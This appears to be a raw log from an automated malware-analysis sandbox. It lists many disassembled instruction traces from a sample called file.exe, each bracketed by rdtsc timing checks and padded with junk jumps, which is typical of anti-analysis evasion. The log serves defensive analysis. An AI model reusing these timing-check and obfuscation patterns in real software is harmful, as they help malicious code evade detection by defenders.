Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1039F second address: 4D10413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 1C5ACBB1h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e call 00007F47E55EA43Ah 0x00000013 mov ecx, 2EC50321h 0x00000018 pop esi 0x00000019 mov di, 9DD2h 0x0000001d popad 0x0000001e push eax 0x0000001f jmp 00007F47E55EA448h 0x00000024 xchg eax, ebp 0x00000025 pushad 0x00000026 mov dh, ch 0x00000028 push eax 0x00000029 push edx 0x0000002a pushfd 0x0000002b jmp 00007F47E55EA449h 0x00000030 add esi, 12F9F606h 0x00000036 jmp 00007F47E55EA441h 0x0000003b popfd 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20236 second address: 4D2025D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov edx, 063324F2h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2025D second address: 4D202AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, si 0x00000007 popad 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ax, E733h 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 call 00007F47E55EA43Eh 0x0000001a pop esi 0x0000001b pushfd 0x0000001c jmp 00007F47E55EA43Bh 0x00000021 or cx, A04Eh 0x00000026 jmp 00007F47E55EA449h 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202AD second address: 4D202D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F47E4F46FADh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202D2 second address: 4D202D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50F0E second address: 4D50F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50F12 second address: 4D50F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F47E55EA444h 0x0000000f xor si, 5588h 0x00000014 jmp 00007F47E55EA43Bh 0x00000019 popfd 0x0000001a movzx ecx, bx 0x0000001d popad 0x0000001e push eax 0x0000001f jmp 00007F47E55EA442h 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50F5E second address: 4D50F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F47E4F46FB3h 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50F77 second address: 4D50F90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E55EA445h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3043A second address: 4D3043E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3043E second address: 4D30444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30444 second address: 4D30495 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 2AD9E834h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d and dword ptr [eax+04h], 00000000h 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F47E4F46FAFh 0x00000018 sbb ah, FFFFFFCEh 0x0000001b jmp 00007F47E4F46FB9h 0x00000020 popfd 0x00000021 call 00007F47E4F46FB0h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D104FF second address: 4D10503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10503 second address: 4D10509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20F0C second address: 4D20F44 instructions: 0x00000000 rdtsc 0x00000002 call 00007F47E55EA43Fh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call 00007F47E55EA449h 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 popad 0x00000013 mov dword ptr [esp], ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20F44 second address: 4D20F6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F47E4F46FADh 0x00000013 pop ecx 0x00000014 movsx edx, si 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30252 second address: 4D30261 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30261 second address: 4D30267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30267 second address: 4D3026B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3026B second address: 4D30280 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F47E4F46FAAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50674 second address: 4D5068E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA446h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5068E second address: 4D50694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50694 second address: 4D50698 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50698 second address: 4D506FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov di, 196Ah 0x0000000e call 00007F47E4F46FABh 0x00000013 mov si, D42Fh 0x00000017 pop esi 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b jmp 00007F47E4F46FABh 0x00000020 xchg eax, ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 jmp 00007F47E4F46FABh 0x00000029 pushfd 0x0000002a jmp 00007F47E4F46FB8h 0x0000002f add ecx, 33F0ABB8h 0x00000035 jmp 00007F47E4F46FABh 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506FF second address: 4D50794 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA449h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F47E55EA441h 0x0000000f xchg eax, ecx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F47E55EA43Ch 0x00000017 or eax, 5394D078h 0x0000001d jmp 00007F47E55EA43Bh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F47E55EA448h 0x00000029 sub al, FFFFFFD8h 0x0000002c jmp 00007F47E55EA43Bh 0x00000031 popfd 0x00000032 popad 0x00000033 mov eax, dword ptr [76FA65FCh] 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F47E55EA445h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50794 second address: 4D507DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007F47E4F46FAEh 0x00000010 je 00007F485711A153h 0x00000016 jmp 00007F47E4F46FB0h 0x0000001b mov ecx, eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F47E4F46FAAh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507DF second address: 4D507E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507E5 second address: 4D507EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507EB second address: 4D50843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c mov esi, edi 0x0000000e jmp 00007F47E55EA447h 0x00000013 popad 0x00000014 and ecx, 1Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F47E55EA43Bh 0x00000020 and cl, 0000001Eh 0x00000023 jmp 00007F47E55EA449h 0x00000028 popfd 0x00000029 mov edx, eax 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50843 second address: 4D50892 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b pushad 0x0000000c push esi 0x0000000d mov di, 952Eh 0x00000011 pop edi 0x00000012 push ecx 0x00000013 pushfd 0x00000014 jmp 00007F47E4F46FABh 0x00000019 xor si, A5DEh 0x0000001e jmp 00007F47E4F46FB9h 0x00000023 popfd 0x00000024 pop ecx 0x00000025 popad 0x00000026 leave 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push esi 0x0000002b pop ebx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50892 second address: 4D50898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50898 second address: 4D508D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c mov esi, eax 0x0000000e lea eax, dword ptr [ebp-08h] 0x00000011 xor esi, dword ptr [00B52014h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d push eax 0x0000001e call 00007F47E9187789h 0x00000023 push FFFFFFFEh 0x00000025 jmp 00007F47E4F46FB6h 0x0000002a pop eax 0x0000002b jmp 00007F47E4F46FB0h 0x00000030 ret 0x00000031 nop 0x00000032 push eax 0x00000033 call 00007F47E91877ACh 0x00000038 mov edi, edi 0x0000003a pushad 0x0000003b mov edi, ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D508D6 second address: 4D508DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D508DA second address: 4D50913 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F47E4F46FB6h 0x00000008 jmp 00007F47E4F46FB5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50913 second address: 4D50926 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50926 second address: 4D50990 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F47E4F46FB1h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F47E4F46FAEh 0x00000015 mov ebp, esp 0x00000017 jmp 00007F47E4F46FB0h 0x0000001c pop ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F47E4F46FB7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0001F second address: 4D0003C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA449h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0003C second address: 4D00073 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F47E4F46FB1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F47E4F46FADh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00073 second address: 4D00079 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00079 second address: 4D0007D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00170 second address: 4D00200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov ebx, dword ptr [ebp+10h] 0x00000009 pushad 0x0000000a push esi 0x0000000b pushfd 0x0000000c jmp 00007F47E55EA43Dh 0x00000011 and si, 5686h 0x00000016 jmp 00007F47E55EA441h 0x0000001b popfd 0x0000001c pop eax 0x0000001d pushfd 0x0000001e jmp 00007F47E55EA441h 0x00000023 adc ah, FFFFFFE6h 0x00000026 jmp 00007F47E55EA441h 0x0000002b popfd 0x0000002c popad 0x0000002d xchg eax, esi 0x0000002e pushad 0x0000002f mov bh, ah 0x00000031 popad 0x00000032 push eax 0x00000033 pushad 0x00000034 mov esi, edx 0x00000036 call 00007F47E55EA447h 0x0000003b pushad 0x0000003c popad 0x0000003d pop ecx 0x0000003e popad 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F47E55EA440h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00200 second address: 4D0025B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c jmp 00007F47E4F46FB6h 0x00000011 xchg eax, edi 0x00000012 pushad 0x00000013 mov ax, CA8Dh 0x00000017 pushfd 0x00000018 jmp 00007F47E4F46FAAh 0x0000001d jmp 00007F47E4F46FB5h 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov cx, F969h 0x0000002c push esi 0x0000002d pop edx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0025B second address: 4D002DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F47E55EA446h 0x0000000f test esi, esi 0x00000011 jmp 00007F47E55EA440h 0x00000016 je 00007F48578087B8h 0x0000001c pushad 0x0000001d jmp 00007F47E55EA43Eh 0x00000022 pushad 0x00000023 movzx eax, dx 0x00000026 mov dl, 81h 0x00000028 popad 0x00000029 popad 0x0000002a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000031 jmp 00007F47E55EA444h 0x00000036 je 00007F4857808796h 0x0000003c pushad 0x0000003d movzx eax, di 0x00000040 push eax 0x00000041 push edx 0x00000042 mov dx, 506Ch 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D002DB second address: 4D00382 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F47E4F46FB5h 0x00000008 xor cx, 0446h 0x0000000d jmp 00007F47E4F46FB1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov edx, dword ptr [esi+44h] 0x00000019 jmp 00007F47E4F46FAEh 0x0000001e or edx, dword ptr [ebp+0Ch] 0x00000021 jmp 00007F47E4F46FB0h 0x00000026 test edx, 61000000h 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F47E4F46FAEh 0x00000033 and eax, 41CB6B48h 0x00000039 jmp 00007F47E4F46FABh 0x0000003e popfd 0x0000003f call 00007F47E4F46FB8h 0x00000044 mov ch, D0h 0x00000046 pop edx 0x00000047 popad 0x00000048 jne 00007F48571652B9h 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 mov si, E9B5h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00382 second address: 4D003BB instructions: 0x00000000 rdtsc 0x00000002 mov ax, 6C31h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx ecx, di 0x0000000b popad 0x0000000c test byte ptr [esi+48h], 00000001h 0x00000010 jmp 00007F47E55EA449h 0x00000015 jne 00007F485780872Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov ebx, 5CF0984Eh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D003BB second address: 4D003C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D003C0 second address: 4D003C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D003C6 second address: 4D003CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0726 second address: 4CF0738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E55EA43Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0738 second address: 4CF0761 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F47E4F46FB5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0761 second address: 4CF0766 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0766 second address: 4CF0786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F47E4F46FB5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0786 second address: 4CF07F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F47E55EA447h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007F47E55EA449h 0x0000000f and esi, 088C2216h 0x00000015 jmp 00007F47E55EA441h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e and esp, FFFFFFF8h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F47E55EA448h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF07F5 second address: 4CF07FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF07FB second address: 4CF080C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E55EA43Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF080C second address: 4CF0810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0810 second address: 4CF0881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F47E55EA448h 0x00000010 or ax, 3AF8h 0x00000015 jmp 00007F47E55EA43Bh 0x0000001a popfd 0x0000001b mov edi, esi 0x0000001d popad 0x0000001e mov dword ptr [esp], ebx 0x00000021 pushad 0x00000022 jmp 00007F47E55EA440h 0x00000027 mov ax, 96B1h 0x0000002b popad 0x0000002c xchg eax, esi 0x0000002d jmp 00007F47E55EA43Ch 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 call 00007F47E55EA43Ch 0x0000003b pop ecx 0x0000003c mov eax, edx 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0881 second address: 4CF0887 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0887 second address: 4CF08AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA446h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF08AA second address: 4CF08B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF08B0 second address: 4CF08D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA444h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF08D1 second address: 4CF08D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF08D5 second address: 4CF08F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA449h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF08F2 second address: 4CF08F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF08F8 second address: 4CF0918 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA443h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0918 second address: 4CF091F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bh, ch 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF091F second address: 4CF099C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA448h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c call 00007F47E55EA43Eh 0x00000011 mov dx, cx 0x00000014 pop esi 0x00000015 mov bl, 69h 0x00000017 popad 0x00000018 je 00007F485780FE71h 0x0000001e jmp 00007F47E55EA446h 0x00000023 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002a pushad 0x0000002b mov cx, B17Dh 0x0000002f mov edx, eax 0x00000031 popad 0x00000032 mov ecx, esi 0x00000034 pushad 0x00000035 mov ebx, ecx 0x00000037 movzx eax, bx 0x0000003a popad 0x0000003b je 00007F485780FE52h 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F47E55EA43Bh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF099C second address: 4CF09B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF09B9 second address: 4CF09BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
